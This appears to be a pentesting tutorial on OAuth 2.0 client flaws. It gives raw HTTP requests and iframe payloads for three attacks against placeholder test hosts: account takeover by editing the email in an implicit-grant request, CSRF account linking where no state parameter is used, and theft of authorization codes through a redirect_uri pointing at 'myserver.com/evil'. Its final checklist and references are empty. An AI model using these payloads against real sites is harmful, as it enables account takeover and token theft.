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OAuth 2.0 Bypass

Introduction

OAuth is a commonly used authorization framework that enables websites and web applications to request limited access to a user’s account on another application. Crucially, OAuth allows the user to grant this access without exposing their login credentials to the requesting application.

Vulnerabilities in the OAuth client application

Client applications will often use a reputable, battle-hardened OAuth service that is well protected against widely known exploits. However, their own side of the implementation may be less secure.

Improper implementation of the implicit grant type

Once the OAuth 2.0 flow is completed and the token is assigned, the information is sent to the application (username, email and the token). We can bypass the authentication by changing the email and username of the request:

# Original Request

POST /authenticate HTTP/1.1
Host: oauth-test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https:/oauth-test.com/oauth-callback
Content-Type: application/json
Origin: https://app-test.com
Content-Length: 103
Connection: close
Cookie: session=Pjx1J1HBlOKuYpE6ngdvP0lwKrc6N6xn


{
    "email":"user@test.com",
    "username":"user",
    "token":"0Uk8oyhR95JLrFnDdsgFBcHdcH1Tcz8GmLoZe6ECOAi"
}

# Edited Request

POST /authenticate HTTP/1.1
Host: oauth-test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https:/oauth-test.com/oauth-callback
Content-Type: application/json
Origin: https://app-test.com
Content-Length: 103
Connection: close
Cookie: session=Pjx1J1HBlOKuYpE6ngdvP0lwKrc6N6xn


{
    "email":"another@test.com",
    "username":"another",
    "token":"0Uk8oyhR95JLrFnDdsgFBcHdcH1Tcz8GmLoZe6ECOAi"
}

Flawed CSRF protection (no state parameter)

Although many components of the OAuth flows are optional, some of them are strongly recommended unless there’s an important reason not to use them. One such example is the state parameter.

The state parameter should ideally contain an unguessable value, such as the hash of something tied to the user’s session when it first initiates the OAuth flow. This value is then passed back and forth between the client application and the OAuth service as a form of CSRF token for the client application.

Since this state parameter is not available in the request we can link our profile media to an existing account by exploiting a CSRF attack:

# CSRF vulnerable request

GET /oauth-linking?code=FIKlXwX7-cq6Xz0nsWmYUhqu1rwrRmKL9haVHOA7zVv HTTP/1.1
Host: app.test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://exploit.test.com/exploit
Cookie: session=4UxlhSNG2r19csEDsUySJwHtVPSyE4eE
Upgrade-Insecure-Requests: 1

Payload:

# index.html

<iframe src="https://app.test.com/oauth-linking?code=FIKlXwX7-cq6Xz0nsWmYUhqu1rwrRmKL9haVHOA7zVv">
</iframe>

Leaking authorization codes and access tokens

Depending on the grant type, either a code or token is sent via the victim’s browser to the /callback endpoint specified in the redirect_uri parameter of the authorization request. If the OAuth service fails to validate this URI properly, an attacker may be able to construct a CSRF-like attack, tricking the victim’s browser into initiating an OAuth flow that will send the code or token to an attacker-controlled redirect_uri.

In the case of the authorization code flow, an attacker can potentially steal the victim’s code before it is used. They can then send this code to the client application’s legitimate /callback endpoint (the original redirect_uri) to get access to the user’s account.

# CSRF Vulnerable Request
# Modify the redirect_uri to a coontrolled server

GET /auth?client_id=zg8andmpp2lfjqidng0tr&redirect_uri=https://myserver.com/evil&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-server.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _session=7rn_lI1PoVH0bMKi3_Cmq; _session.legacy=7rn_lI1PoVH0bMKi3_Cmq
Upgrade-Insecure-Requests: 1

Payload:

#index.html

<iframe src="https://oauth-server.example.com/auth?client_id=zg8andmpp2lfjqidng0tr&redirect_uri=https://myserver.com/evil&response_type=code&scope=openid%20profile%20email">
</iframe>

Pentesting OAuth 2.0

redirect_uri validation

redirect_uri parameter should be validated via white list, but sometimes is misconfigured and leads to flaws and vulnerabilities. Things to check:

References